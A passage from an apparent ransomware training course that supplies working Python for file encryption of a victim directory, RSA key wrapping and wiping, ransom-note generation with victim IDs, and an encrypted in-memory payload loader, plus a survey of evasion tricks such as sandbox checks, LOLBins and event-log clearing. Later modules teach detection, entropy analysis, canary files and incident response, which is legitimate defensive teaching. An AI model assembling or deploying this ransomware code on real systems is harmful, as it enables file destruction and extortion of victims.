    print(f"[*] Generated AES-256 key: {aes_key.hex()[:16]}... (truncated)")
    
    # In a real attack: key is RSA-wrapped here (see Module 05)
    # For now: store plaintext to enable safe decryption testing
    Path(KEY_DIR).mkdir(exist_ok=True)
    (Path(KEY_DIR) / 'aes_key.bin').write_bytes(aes_key)
    print(f"[*] Key saved to {KEY_DIR}/aes_key.bin")
    
    # 2. Scan for targets
    targets = scan_targets(VICTIM_DIR)
    print(f"[*] Found {len(targets)} target files")
    
    # 3. Encrypt each file, log results
    log = {'timestamp': time.time(), 'encrypted': [], 'errors': []}
    start = time.time()
    
    for target in targets:
        try:
            locked = encrypt_file(target, aes_key)
            log['encrypted'].append({
                'original': str(target),
                'locked'  : str(locked),
                'size'    : locked.stat().st_size,
            })
            print(f"  [+] Encrypted: {target.name} → {locked.name}")
        except Exception as e:
            log['errors'].append({'file': str(target), 'error': str(e)})
            print(f"  [-] Error on {target.name}: {e}")
    
    elapsed = time.time() - start
    log['elapsed_seconds'] = round(elapsed, 3)
    
    # 4. Write forensic log (attackers don't do this — you will analyse it)
    LOG_PATH.parent.mkdir(exist_ok=True)
    LOG_PATH.write_text(json.dumps(log, indent=2))
    
    print(f"\n[*] Done. {len(log['encrypted'])} files encrypted in {elapsed:.3f}s")
    print(f"[*] Forensic log saved to {LOG_PATH}")
    return aes_key


def run_decryption_phase(aes_key: bytes):
    """Simulate the victim's decryption after paying ransom."""
    print("\n[*] Starting decryption phase...")
    locked_files = list(Path(VICTIM_DIR).rglob('*.locked'))
    print(f"[*] Found {len(locked_files)} locked files to restore")
    
    for locked in locked_files:
        restored = decrypt_file(locked, aes_key)
        print(f"  [+] Restored: {locked.name} → {restored.name}")
    
    print("[*] Decryption complete. All files restored.")


if __name__ == '__main__':
    key = run_encryption_phase()
    
    input("\nPress ENTER to run decryption phase (simulates paying ransom)...")
    
    run_decryption_phase(key)

4.4 Interactive: File Encryption Simulator

🗂 File Encryption Visualiser

Watch the encryption process unfold file by file. Toggle between "encrypt" and "decrypt" to see recovery.

— ready —
Exercise 4.1

File Header Analysis

Objective: Examine the binary structure of an encrypted file to understand what forensic artefacts are present.

  1. Save scripts and run the orchestrator

    Save file_scanner.py, encryptor.py, and orchestrator.py all into ~/lab/attacker/module_04/. Then run:
    cd ~/lab/attacker/module_04 && python3 orchestrator.py
    Confirm all files in ~/lab/victims/ now have the .locked extension.

  2. Inspect a file header

    Run xxd ~/lab/victims/doc_01.txt.locked | head -5. You should see the magic bytes 4c 4f 43 4b (ASCII: LOCK) at the start.

  3. Extract the nonce

    Write a short Python snippet to read bytes 8–20 from a locked file and print them as hex. Verify it changes each time you re-encrypt (proving fresh nonce generation).

  4. Attempt manual decryption without the key

    Modify decrypt_file to use an incorrect key (os.urandom(32)). What exception is raised?

  5. Analyse the forensic log

    Read ~/lab/forensics/encryption_log.json with cat ~/lab/forensics/encryption_log.json. How long did encryption take? What is the ratio of ciphertext size to plaintext size?

📝 Write the hex bytes you found at offsets 0–3 of your locked file. What exception is raised when you supply an incorrect key? Why does GCM raise this error?
Module 05

Key Management, C2 & Ransom Mechanics

A ransomware that stores the AES key on the victim's machine in plaintext is trivially broken — forensic investigators would simply extract it. This module adds the RSA key-wrapping layer that makes modern ransomware cryptographically robust.

📌 What Changes in Module 05 vs Module 04

In Module 04, the AES key was saved in plaintext to ~/lab/keys/aes_key.bin. That was a lab shortcut. Module 05 replaces that shortcut with the real mechanism:

  • The attacker pre-generates an RSA-4096 key pair before the attack. The private key never leaves their server. The public key is embedded in the ransomware payload.
  • After generating the AES key and encrypting the victim's files, the payload encrypts the AES key with the attacker's RSA public key and saves the result as ENCRYPTED_KEY.bin.
  • The plaintext AES key is then wiped from memory. At this point, even the victim cannot recover their files — only the attacker, who holds the RSA private key, can decrypt ENCRYPTED_KEY.bin to get the AES key back.
  • This is the leverage that makes ransom demands credible. Without the attacker's cooperation, recovery requires either a backup or a cryptographic flaw.
⚠ RSA-4096 Key Generation Is Slow
Generating a 4096-bit RSA key pair in Python takes 5–30 seconds depending on your VM's CPU allocation. This is normal. Do not interrupt the script while it runs. If you are short on time, you can change key_size=4096 to key_size=2048 for the lab — it generates much faster and the concepts are identical. Real ransomware uses 4096-bit keys because they are considered secure beyond 2040.

5.1 Hybrid Encryption — The Full Key Chain

Read the diagram below carefully before touching any code. Every step in this chain exists for a specific reason. If you skip or reorder any step, the security model breaks.

Step 1
os.urandom(32)
AES-256 key generated
Step 2
Encrypt files
AES-GCM per file
Step 3
RSA.encrypt(aes_key)
Using attacker's pubkey
Step 4
Save blob to disk
ENCRYPTED_KEY.bin
Step 5
Wipe AES key
from memory
python Save as: ~/lab/attacker/module_05/key_manager.py
import os
from pathlib import Path
from cryptography.hazmat.primitives.asymmetric import rsa, padding as ap
from cryptography.hazmat.primitives import hashes, serialization

# ═══ ATTACKER SIDE: Run once offline to generate key pair ════════

def attacker_generate_keypair(key_dir: str = None):
    if key_dir is None:
        key_dir = str(Path.home() / 'lab/keys')
    """
    Generates attacker RSA-4096 key pair.
    In a real attack: private key NEVER leaves attacker's server.
    Public key is embedded in the ransomware payload.
    """
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=4096,
    )
    public_key = private_key.public_key()
    
    # Serialize
    pem_priv = private_key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.TraditionalOpenSSL,
        serialization.NoEncryption()
    )
    pem_pub = public_key.public_bytes(
        serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo
    )
    
    kd = Path(key_dir)
    kd.mkdir(exist_ok=True)
    (kd / 'attacker_private.pem').write_bytes(pem_priv)  # stays with attacker
    (kd / 'attacker_public.pem').write_bytes(pem_pub)    # embedded in payload
    
    print("[ATTACKER] RSA-4096 key pair generated")
    return private_key, public_key


# ═══ PAYLOAD SIDE: Runs on victim machine ════════════════════════

def wrap_aes_key(aes_key: bytes, public_key_path: str) -> bytes:
    """
    Encrypts the AES key using the attacker's RSA public key.
    Returns an opaque blob that only the attacker can decrypt.
    """
    pem = Path(public_key_path).read_bytes()
    public_key = serialization.load_pem_public_key(pem)
    
    encrypted_key = public_key.encrypt(
        aes_key,
        ap.OAEP(
            mgf=ap.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    return encrypted_key


def save_encrypted_key_blob(encrypted_key: bytes, output_dir: str):
    """Saves the RSA-wrapped AES key to disk for the attacker to retrieve."""
    blob_path = Path(output_dir) / 'ENCRYPTED_KEY.bin'
    blob_path.write_bytes(encrypted_key)
    print(f"[PAYLOAD] Encrypted key blob saved: {blob_path} ({len(encrypted_key)} bytes)")


# ═══ ATTACKER SIDE: Recovery (simulates decryptor delivery) ══════

def unwrap_aes_key(encrypted_key_path: str, private_key_path: str) -> bytes:
    """
    Decrypts the AES key blob using the attacker's RSA private key.
    This is what happens after ransom is paid — attacker runs their decryptor.
    """
    encrypted_key = Path(encrypted_key_path).read_bytes()
    pem           = Path(private_key_path).read_bytes()
    private_key   = serialization.load_pem_private_key(pem, password=None)
    
    aes_key = private_key.decrypt(
        encrypted_key,
        ap.OAEP(
            mgf=ap.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    print(f"[ATTACKER] AES key recovered: {aes_key.hex()[:16]}...")
    return aes_key


# ═══ Demo run ════════════════════════════════════════════════════
if __name__ == '__main__':
    # Step 1: Attacker generates key pair
    _, pub = attacker_generate_keypair()
    
    # Step 2: Payload generates a random AES key
    aes_key = os.urandom(32)
    print(f"\n[PAYLOAD] Generated AES key: {aes_key.hex()}")
    
    # Step 3: Wrap AES key with RSA public key
    blob = wrap_aes_key(aes_key, str(Path.home() / 'lab/keys/attacker_public.pem'))
    save_encrypted_key_blob(blob, str(Path.home() / 'lab/victims'))
    
    # Step 4: Wipe the plaintext AES key from memory
    aes_key = None   # In C, you'd memset(key, 0, 32) — Python is GC'd
    print("\n[PAYLOAD] AES key wiped from memory. Files encrypted. Ransom note dropped.")
    
    # Step 5: Attacker recovers key after payment
    print("\n--- Simulating ransom payment received ---\n")
    recovered_key = unwrap_aes_key(
        str(Path.home() / 'lab/victims/ENCRYPTED_KEY.bin'),
        str(Path.home() / 'lab/keys/attacker_private.pem')
    )

5.2 Generating a Realistic Ransom Note

python Save as: ~/lab/attacker/module_05/ransom_note.py
import os, hashlib, time
from pathlib import Path

def generate_victim_id() -> str:
    """Generate a unique victim ID (hash of machine fingerprint)."""
    fingerprint = (
        os.uname().nodename +
        str(os.getuid()) +
        str(time.time())
    ).encode()
    return hashlib.sha256(fingerprint).hexdigest()[:16].upper()


def drop_ransom_note(target_dir: str, encrypted_count: int, payment_address: str):
    """
    Writes a ransom note HTML file to the target directory.
    This is purely for educational demonstration.
    """
    victim_id = generate_victim_id()
    note_path = Path(target_dir) / 'README_YOUR_FILES_ARE_ENCRYPTED.html'
    
    note_content = f"""
<html><body style="font-family:monospace;background:#111;color:#eee;padding:40px">
<h1 style="color:#e85d3a">YOUR FILES HAVE BEEN ENCRYPTED</h1>
<p>{encrypted_count} files on this system have been encrypted using AES-256-GCM.</p>
<p>Without the decryption key, recovery is IMPOSSIBLE.</p>
<hr>
<h2>How to recover your files</h2>
<p>Your unique victim ID: <strong>{victim_id}</strong></p>
<p>Send payment to: <code>{payment_address}</code></p>
<p>Contact us with your victim ID to receive your decryption key.</p>
<hr>
<p style="color:#888;font-size:12px">[THIS IS A SIMULATION — FOR EDUCATIONAL USE ONLY]</p>
</body></html>
"""
    
    note_path.write_text(note_content)
    print(f"[*] Ransom note written to {note_path}")
    return victim_id
Key Insight: The Victim ID
The victim ID is critical for the attacker's business model. It lets them match payments to victims and retrieve the correct AES key from their database. Poorly implemented ransomware that generates non-unique IDs may fail to decrypt files even after payment — a common cause of decryption failures in real incidents.
Exercise 5.1

Full Hybrid Encryption Pipeline

Objective: Run the complete encryption pipeline from key generation through file encryption to key wrapping, then reverse it.

  1. Generate the RSA key pair

    Save key_manager.py to ~/lab/attacker/module_05/ and run python3 key_manager.py. Confirm two PEM files appear in ~/lab/keys/. Open the public key with cat ~/lab/keys/attacker_public.pem and count the lines.

  2. Run the full encryption sequence

    Integrate key_manager.py with your orchestrator.py from Module 04. Now the AES key must be wrapped before files are encrypted.

  3. Verify key blob security

    Attempt to read the AES key from ENCRYPTED_KEY.bin without the private key. Write a script that tries random AES keys from the blob — confirm it fails.

  4. Drop the ransom note

    Call drop_ransom_note() and open the HTML file. Take a screenshot for your notes.

  5. Recover files using the private key

    Call unwrap_aes_key() then run_decryption_phase(). Verify all files are restored intact by comparing checksums before and after.

📝 How large is the RSA-4096 key blob compared to the AES key? Why can't the attacker just store the encrypted key server-side only?
Module 06

Detection, Analysis & Forensics

Now you switch roles: from attacker to defender. You'll use the artefacts generated in your lab to practice the exact techniques incident responders use to triage a ransomware event.

📌 What You Need Before Starting Module 06
Module 06 analyses the outputs of Modules 04 and 05. Make sure you have run the orchestrator (Module 04) at least once so these files exist:
  • ~/lab/forensics/encryption_log.json — the JSON log written by the orchestrator
  • ~/lab/victims/*.locked — at least some encrypted files to inspect
  • ~/lab/victims/ENCRYPTED_KEY.bin — the RSA-wrapped key blob (from Module 05)
If any of these are missing, revert to your "before-module-04" snapshot and re-run the orchestrator.
🔧 Terminal Tools Used in Module 06 — All Pre-installed on Kali
  • xxd — hex dump tool. Shows the raw bytes of any file in hex + ASCII. Used to inspect the encrypted file headers.
  • file — identifies file type by reading magic bytes. Useful to confirm encrypted files no longer look like their original format.
  • strings — extracts printable ASCII strings from any binary. Used to confirm no plaintext survives in ciphertext.
  • foremost — file carving tool. Scans raw bytes looking for known file headers (JPEG, PDF, etc). Confirms that properly implemented AES-GCM leaves nothing recoverable.
  • binwalk — analyses firmware/binary files for embedded content. Useful to verify our encrypted format has no recognisable embedded structures.
Verify they are available: which xxd file strings foremost binwalk. If any are missing: sudo apt install -y foremost binwalk

Ransomware leaves detectable footprints before, during, and after encryption. The faster an analyst recognises these signals, the more files can be saved.

📁

Filesystem IoCs

Mass file extension changes in a short window. Appearance of ransom note files. New .locked, .enc, .crypt extensions. Sudden spike in file modification events.

📊

Process IoCs

High CPU + disk I/O from an unexpected process. Calls to vssadmin, wmic shadow, bcdedit. Child processes spawned from Office applications or email clients.

🌐

Network IoCs

Outbound connections to Tor nodes. DNS queries to unusual domains. Data exfiltration before encryption (large outbound transfers). C2 beacon traffic (regular intervals).

🔑

Registry / Memory IoCs

New run keys for persistence. Memory containing RSA public key material. Remnants of the AES key in memory (forensic window between execution and wipe).

6.2 Analysing Your Forensic Log

The encryption_log.json generated in Module 04 simulates what an EDR or SIEM would capture during a ransomware execution. The log_analyser.py script reads it and computes three things defenders care about most: encryption speed (files per second), file size overhead introduced by the header and GCM tag, and the theoretical detection window — how many files would already be lost if an alert fires after N encrypted files.

The detection window calculation is particularly important. If your encryptor processes 150 files per second and your canary monitor checks every 1 second, up to 150 files are encrypted before the first alert fires. Faster detection polling = fewer files lost. This is a real operational trade-off in enterprise security.

python Save as: ~/lab/attacker/module_06/log_analyser.py
import json, statistics
from pathlib import Path
from datetime import datetime

def analyse_log(log_path: str = None):
    if log_path is None:
        log_path = str(Path.home() / 'lab/forensics/encryption_log.json')
    log = json.loads(Path(log_path).read_text())
    encrypted = log['encrypted']
    
    # ── Basic stats ──────────────────────────────────────────────────
    total_files     = len(encrypted)
    total_bytes     = sum(e['size'] for e in encrypted)
    elapsed         = log.get('elapsed_seconds', 0)
    files_per_sec   = total_files / elapsed if elapsed > 0 else 'N/A'
    
    print("═══ ENCRYPTION EVENT REPORT ═══")
    print(f"Timestamp      : {datetime.fromtimestamp(log['timestamp'])}")
    print(f"Files encrypted: {total_files}")
    print(f"Total bytes    : {total_bytes:,}")
    print(f"Time elapsed   : {elapsed:.3f}s")
    print(f"Speed          : {files_per_sec:.1f} files/sec")
    
    # ── Size ratio (ciphertext overhead) ─────────────────────────────
    # GCM adds a 16-byte auth tag; our header adds 24 bytes
    overhead_per_file = 40  # header (24) + GCM tag (16)
    print(f"\nExpected overhead per file: {overhead_per_file} bytes (header+GCM tag)")
    
    # ── Extension analysis ────────────────────────────────────────────
    ext_counts = {}
    for entry in encrypted:
        # Get the original extension (remove .locked suffix first)
        orig_name = Path(entry['original']).name
        ext = Path(orig_name).suffix.lower()
        ext_counts[ext] = ext_counts.get(ext, 0) + 1
    
    print("\nFiles by extension:")
    for ext, count in sorted(ext_counts.items(), key=lambda x: -x[1]):
        bar = '█' * count
        print(f"  {ext:8s} {bar} ({count})")
    
    # ── Detection timing ─────────────────────────────────────────────
    print(f"\n⚡ Detection window:")
    print(f"   If a SIEM rule triggers after 10 encrypted files,")
    print(f"   {(10/files_per_sec if isinstance(files_per_sec,float) else 0):.2f}s from execution to alert.")
    print(f"   {total_files - 10} files would already be lost.")


analyse_log()

6.3 File Carving — Recovering Plaintext from Partial Overwrites

Ransomware that overwrites files in-place (rather than creating a new file then deleting the old) may leave file system slack containing partial original data. Using a forensic tool like foremost or scalpel, an analyst can sometimes carve recoverable fragments.

⚠ Caveat
This technique only works when encryption is improperly implemented (partial overwrite, no secure delete of original, or the OS has unallocated cluster data). Modern ransomware avoids all of these. Your simulation does use a new file + delete pattern, so carving will recover nothing — which is itself informative.
bash Kali Terminal — Forensic analysis commands (already installed on Kali)
# foremost and binwalk are already on Kali — but install hexedit if missing
sudo apt install -y hexedit

# Check file magic bytes on encrypted files
file ~/lab/victims/*.locked

# Dump first 64 bytes of a locked file in hex
xxd ~/lab/victims/doc_01.txt.locked | head -4

# Look for any plaintext remnants in encrypted files
# (should find none if encryption is correct)
strings ~/lab/victims/doc_01.txt.locked

# Calculate entropy of an encrypted file
# (should be near 7.9–8.0 bits/byte)
python3 -c "
import math, sys
data = open(sys.argv[1],'rb').read()
byte_counts = [data.count(bytes([i])) for i in range(256)]
n = len(data)
entropy = -sum((c/n)*math.log2(c/n) for c in byte_counts if c > 0)
print(f'Entropy: {entropy:.4f} bits/byte (max=8.0)')
" ~/lab/victims/doc_01.txt.locked

# Compare entropy of a normal text file (run BEFORE encryption)
python3 -c "
import math, sys
data = open(sys.argv[1],'rb').read()
byte_counts = [data.count(bytes([i])) for i in range(256)]
n = len(data)
entropy = -sum((c/n)*math.log2(c/n) for c in byte_counts if c > 0)
print(f'Entropy: {entropy:.4f} bits/byte')
" ~/lab/victims/doc_01.txt
Exercise 6.1

Entropy Analysis

Objective: Use file entropy as a detection signal. Build a simple scanner that flags high-entropy files.

  1. Measure baseline entropy

    Before running the encryptor, record the entropy of each file in ~/lab/victims/ using the Python entropy script above. Save the numbers — you'll compare them after encryption.

  2. Run encryption, measure again

    After encryption, compare entropy values. Files with entropy ≥ 7.5 bits/byte are likely encrypted or compressed.

  3. Build an entropy scanner

    Write a Python script that scans a directory and flags any file with entropy above 7.5 along with its extension and size. This is the basis of a real ransomware detection heuristic.

  4. Test false positives

    Run your entropy scanner on /usr/bin/ (compressed binaries). How many false positives do you get? How would you reduce them?

📝 What was the average entropy of your plaintext files? What was it after encryption? At what entropy threshold would you alert without too many false positives?

6.4 Memory Analysis Concepts

If ransomware is caught while actively running, memory analysis is the only way to recover the AES key. The window is narrow — the payload wipes the key after use. A memory dump taken during encryption may still contain the key.

Key Concept: The Memory Forensics Window
The AES key exists in plaintext in process memory from T+0 (generation) to approximately T+2 (key wipe / process termination). On a fast machine encrypting a small number of files, this window may be under 1 second. On a large file server with millions of files, it could be minutes — enough time to capture a memory dump.
python Save as: ~/lab/attacker/module_06/key_carver.py
import re

def carve_aes_keys_from_dump(dump_path: str) -> list[bytes]:
    """
    Attempt to carve 256-bit (32-byte) AES keys from a memory dump.
    Keys appear as uniform random bytes — no magic number to find them by.
    This heuristic looks for 32-byte sequences with high byte diversity.
    
    Real key carving uses known key schedules or context clues.
    """
    data   = open(dump_path, 'rb').read()
    candidates = []
    
    for offset in range(0, len(data) - 32, 4):
        candidate = data[offset:offset+32]
        unique_bytes = len(set(candidate))
        
        # High uniqueness (>20 distinct bytes) suggests random key material
        if unique_bytes > 20:
            candidates.append((offset, candidate))
    
    print(f"Found {len(candidates)} AES key candidates in dump")
    return candidates


# NOTE: Requires a memory dump file — use /proc/PID/mem in Linux
# or a Volatility-compatible dump for Windows analysis
Module 07

Incident Response & Defensive Hardening

The final module applies everything you've learned to the defensive mission: how to detect ransomware faster, limit blast radius, and make recovery possible. This is where the technical knowledge becomes operationally relevant.

📌 Module 07 Has a Two-Terminal Exercise
Section 7.3 (the canary monitor) requires running two scripts simultaneously — the canary monitor in one terminal pane, and the orchestrator in another. Use tmux to split your terminal: start a session with tmux new-session -s module07, press Ctrl+B then % to split vertically, and use Ctrl+B then ←/→ to switch between panes. The setup walkthrough from Module 01 section 1.7 covers this if you need a refresher.
T+0: Detection
Contain immediately — do not investigate first
Isolate affected systems from the network (unplug or firewall egress). Do not shut down — memory may contain the AES key. Alert IR team.
T+15 min: Assessment
Scope the blast radius
Identify which systems are encrypted. Check if backup servers are affected. Look for exfiltration in SIEM before the encryption event.
T+1 hr: Evidence Preservation
Preserve memory dumps and disk images
Take memory dumps of affected hosts before rebooting. Image encrypted disks before attempting any recovery. Preserve network logs, SIEM data, and endpoint telemetry.
T+2 hr+: Recovery
Restore from clean backups
Identify the last known-good backup point. Provision clean systems. Restore data. Validate integrity. Never restore to a system that may still be compromised.

7.2 Defensive Controls — Ranked by Effectiveness

ControlPhase AddressedEffectivenessImplementation Effort
Offline / air-gapped backups Recovery Critical Medium
Email filtering + sandbox detonation Initial Access High Medium
Privileged access workstations (PAW) Lateral Movement High High
EDR with ransomware-specific rules Execution / Encryption Medium-High Medium
Disable macros / LOLBins where not needed Execution High Low
MFA everywhere Initial Access / Lateral Movement High Low-Medium
Network segmentation / micro-segmentation Lateral Movement High High
File server honeypots (canary files) Detection (Encryption) Medium Low
VSS protection (shadow copy immutability) Recovery Medium Low
Antivirus / signature-based detection Execution Low (bypass-prone) Low

7.3 Building a Canary File Detector

A canary file is a file placed in a known location that should never be legitimately modified. If it changes, something is wrong. Because ransomware encrypts files alphabetically or by scanning the filesystem in order, canary files named with leading characters like AAA_ are found and encrypted early — triggering an alert before the majority of real files are touched.

How to run this exercise:

  1. Open a tmux session and split into two panes.
  2. In the left pane, run python3 canary_monitor.py. It will create the canary files, record their hashes, then start polling every second.
  3. In the right pane, run the Module 04 orchestrator: cd ~/lab/attacker/module_04 && python3 orchestrator.py.
  4. Watch the left pane — as soon as the orchestrator touches a canary file, the monitor will print a red alert and report the detection time.
  5. Note how quickly the alert fires compared to how many files have already been encrypted.

The three canaries are deliberately named AAA_canary_alpha.txt, AAA_canary_beta.txt, and zzz_canary_last.txt. The first two trigger early (alphabetically first); the last one catches any ransomware that scans in reverse order. This is a real production technique used by enterprise file servers.

python Save as: ~/lab/attacker/module_07/canary_monitor.py
import hashlib, time, os, json
from pathlib import Path

CANARY_LOCATIONS = [
    str(Path.home() / 'lab/victims/AAA_canary_alpha.txt'),
    str(Path.home() / 'lab/victims/AAA_canary_beta.txt'),
    str(Path.home() / 'lab/victims/zzz_canary_last.txt'),
]

def sha256_file(path: str) -> str:
    h = hashlib.sha256()
    h.update(Path(path).read_bytes())
    return h.hexdigest()


def create_canaries():
    """Plant canary files and record their hashes."""
    baseline = {}
    for path in CANARY_LOCATIONS:
        Path(path).write_text(
            f"CANARY FILE - {path} - created at {time.time()}\n" * 10
        )
        baseline[path] = sha256_file(path)
        print(f"[+] Canary planted: {Path(path).name}")
    
    Path(Path.home() / 'lab/forensics/canary_baseline.json').write_text(
        json.dumps(baseline, indent=2)
    )
    print("[*] Canary baseline saved.")


def monitor_canaries(interval: float = 1.0, max_checks: int = 30):
    """
    Poll canary files every `interval` seconds.
    Alert immediately if any canary is modified or deleted.
    """
    baseline = json.loads(
        Path(Path.home() / 'lab/forensics/canary_baseline.json').read_text()
    )
    print(f"[*] Monitoring {len(baseline)} canary files every {interval}s...")
    
    for check in range(max_checks):
        for path, expected_hash in baseline.items():
            if not Path(path).exists():
                print(f"\n🚨 ALERT: Canary DELETED — {path}")
                print("   RANSOMWARE ACTIVITY DETECTED. Initiating containment.")
                return "DELETED"
            
            current_hash = sha256_file(path)
            if current_hash != expected_hash:
                print(f"\n🚨 ALERT: Canary MODIFIED — {path}")
                print(f"   Expected: {expected_hash[:16]}...")
                print(f"   Got     : {current_hash[:16]}...")
                print("   RANSOMWARE ACTIVITY DETECTED. Initiating containment.")
                return "MODIFIED"
        
        print(f"  [{check+1:02d}/{max_checks}] All canaries intact...", end='\r')
        time.sleep(interval)
    
    print("\n[*] Monitoring complete. No anomalies detected.")


if __name__ == '__main__':
    create_canaries()
    print("\nNow run your encryptor in another terminal and watch this output...")
    monitor_canaries(interval=0.5, max_checks=60)
Exercise 7.1 — Capstone

End-to-End Detection Race

Objective: Test your canary detector against the encryptor. Measure time from first file encrypted to canary alert.

  1. Plant canaries and start monitor

    Run monitor_canaries() in one terminal window. Verify it reports "All canaries intact."

  2. Launch the encryptor

    Open a second tmux pane (Ctrl+B then %) and run your full orchestrator from Module 05 targeting ~/lab/victims/. Note the timestamp when you press Enter.

  3. Record detection time

    How many seconds elapsed between execution and alert? How many non-canary files were already encrypted?

  4. Optimise placement

    The canary files start with "AAA" so they appear first alphabetically. Does this change the detection time? Try moving them to subdirectories the scanner hits later.

  5. Write an IR report

    Based on your forensic log (encryption_log.json), canary alert data, and the simulated ransom note, write a 1-page incident report summarising what happened, when, and how it could have been prevented.

📝 Detection latency (seconds): ___. Files encrypted before alert: ___. What is the theoretical minimum detection time with canary files? What would you add to your canary monitor to auto-respond (not just alert)?

7.4 Defensive Architecture Recommendations

✓ The 3-2-1-1-0 Backup Rule
The gold standard for ransomware recovery:
  • 3 copies of data
  • 2 different media types
  • 1 offsite copy
  • 1 offline / air-gapped copy (ransomware cannot reach it)
  • 0 errors — verified by regular restore tests

7.5 Final Knowledge Check

Q3. A victim's IT team discovers ransomware is actively running. Their first instinct is to shut down all affected servers immediately. Why might this be the wrong decision?

  • AShutting down servers always makes ransomware spread faster.
  • BThe AES key may still be in memory. A memory dump taken before shutdown could allow key recovery — powering off loses this opportunity forever.
  • CRansomware cannot run after the system restarts.
  • DShutting down corrupts encrypted files.
Before shutdown, the process running the ransomware has the AES key in its virtual address space. A live memory dump (using tools like winpmem or avml) can capture this. A forensic analyst can then carve the key and decrypt all files without paying ransom. The containment action (network isolation) can be done without powering off — unplug the network cable or apply firewall rules instead.

Q4. Your canary file detector triggers 2 seconds after the ransomware starts. Your file server has 50,000 files. The encryptor processes 500 files per second. How many files are already encrypted when the alert fires?

  • A2 files
  • B500 files
  • C1,000 files (500 files/sec × 2 seconds)
  • D50,000 files — all of them
500 files/sec × 2 sec = 1,000 files. This illustrates why detection speed matters enormously. Modern ransomware like LockBit is engineered to maximise encryption speed — partial encryption is often enough to make files unreadable. Reducing the detection window from 2 seconds to 0.2 seconds saves 900 files. Canary files placed alphabetically first (AAA_canary.docx) are found earlier, reducing the window further.

Q5. A colleague suggests that simply paying the ransom is always the fastest recovery option. What are the strongest arguments against this position?

  • AThe ransom amount is always too high.
  • BThere is no guarantee of a working decryptor; payment funds criminal operations; the attacker may still leak exfiltrated data; and it signals that your organisation is a viable target for future attacks.
  • CCryptocurrency payments are always traceable.
  • DThe decryptor always works perfectly.
Multiple studies (Sophos, Coveware) show that ~20% of organisations that pay never receive a working decryptor. Even when they do, decryption is slow and incomplete. In double-extortion attacks, data is leaked regardless of payment. Payment also violates OFAC sanctions when the group is on the list (REvil, Darkside). The FBI and CISA consistently advise against payment — it funds future attacks and does not guarantee recovery.
Module 08

Advanced Evasion Techniques & Countermeasures

Ransomware authors are in a perpetual arms race with security vendors. Understanding how payloads evade detection is essential for building detections that survive. This module surveys the most common evasion categories and how defenders counteract each one.

📌 Module 08 Is Primarily Analytical
Unlike Modules 04–07, this module does not build a simulation of harmful behaviour. The one Python script (loader_pattern.py) demonstrates how a two-stage encrypted loader works — using a completely benign stage-2 payload that just prints a message. The goal is to understand the pattern so you can build detections against it, not to create a functional evasion tool.
🔧 psutil Required for Exercise 8.1
Exercise 8.1 uses the psutil library to read system metrics (CPU count, RAM, uptime, disk size). Install it if you haven't already: pip3 install psutil. Everything else in Module 08 uses only the standard library.

8.1 Taxonomy of Evasion Techniques

🌀

Obfuscation

String encryption, base64 payloads, XOR-encoded shellcode, junk code insertion, control flow flattening. Goal: prevent static analysis from identifying malicious strings.

🕒

Timing & Environment Checks

Sleep before execution (evade sandbox timeouts). Check for VM artefacts (VMware registry keys, low CPU count, missing mouse movement). Abort if sandbox environment detected.

🧵

Living off the Land (LOLBins)

Use legitimate signed Windows binaries — wmic, certutil, mshta, regsvr32 — to download and execute payload. Bypasses application whitelisting.

💉

Process Injection

Inject malicious code into a trusted process (e.g. explorer.exe, svchost.exe). The ransomware runs under a legitimate process name, bypassing process-name-based rules.

🔑

Token & Privilege Escalation

Steal access tokens to run as SYSTEM or a privileged user. Required for deleting VSS snapshots, disabling Windows Defender, and encrypting system-owned files.

🗑️

Anti-Forensics

Delete event logs (wevtutil cl), overwrite free disk space, disable crash dumps, timestomping (modifying file timestamps to mislead analysts).

8.2 Sandbox Evasion — Detection From Both Sides

Many ransomware samples check whether they are running inside an automated analysis sandbox before executing. Understanding these checks lets you build more effective sandboxes.

Evasion CheckWhat It Looks ForDefender Countermeasure
CPU core count Sandboxes often use 1–2 cores. Real systems: 4–16+ Configure sandbox VMs with ≥4 virtual cores
RAM size Sandboxes: ≤2 GB. Real workstations: 8–32 GB Provision sandbox with ≥8 GB RAM
Mouse movement / user interaction No mouse events = automated environment Use sandbox plugins that simulate mouse/keyboard activity
VMware / VirtualBox artefacts Registry keys, driver names, CPUID signature, MAC prefix Use bare-metal sandboxes or stripped hypervisors; patch CPUID
Execution delay (sleep) Sleep 10+ minutes to outlast sandbox timeout Accelerate time in sandbox; hook NtDelayExecution
Installed software checks Real machines have Outlook, Office, browser history Pre-populate sandbox with realistic user artefacts
Network connectivity Some strains only activate if they can reach a C2 server Use INetSim to simulate internet responses; provide fake C2 response

8.3 Encrypted Payload Loader — How Obfuscation Works

Rather than shipping a plaintext malicious script (which AV would detect), modern ransomware uses a two-stage loader: a clean-looking stage-1 that decrypts and executes an in-memory stage-2 payload.

python Save as: ~/lab/attacker/module_08/loader_pattern.py
import base64, os
from cryptography.fernet import Fernet

"""
ATTACKER BUILD STEP (offline):
  1. Write malicious payload as Python bytes
  2. Encrypt it with a hardcoded Fernet key
  3. Embed the ciphertext in the "loader" script
  4. Loader decrypts to bytes at runtime and exec()s them

This is why static scanners miss stage-1: no malicious strings.
We demonstrate with a BENIGN payload ("Hello from stage 2").
"""

# ── Simulate the build step ─────────────────────────────────────────
FERNET_KEY = Fernet.generate_key()
stage2_payload = b"""
print("Hello from stage-2 payload (this would be the ransomware)")
print("In a real loader, this would be exec()'d in memory — never written to disk")
"""

fernet = Fernet(FERNET_KEY)
encrypted_payload = fernet.encrypt(stage2_payload)

print("=== Loader would embed these values ===")
print(f"KEY : {FERNET_KEY.decode()}")
print(f"DATA: {encrypted_payload.decode()[:60]}...")

# ── Simulate the loader execution ────────────────────────────────────
print("\n=== Loader executes on victim machine ===")
decrypted = Fernet(FERNET_KEY).decrypt(encrypted_payload)
exec(decrypted)   # In memory only — never written to disk

# ── Detection note ────────────────────────────────────────────────────
print("""
Detection approach:
  - Hook exec() / compile() calls at the Python interpreter level
  - Monitor for processes that: read encrypted data → decrypt → execute in memory
  - EDR behavioural analysis: 'process creates no child processes but
    opens hundreds of files' is the ransomware signature, not the loader
""")

8.4 Anti-Evasion Detection Rules

Below are example detection logic patterns. You will formalise these as YARA rules in Module 09.

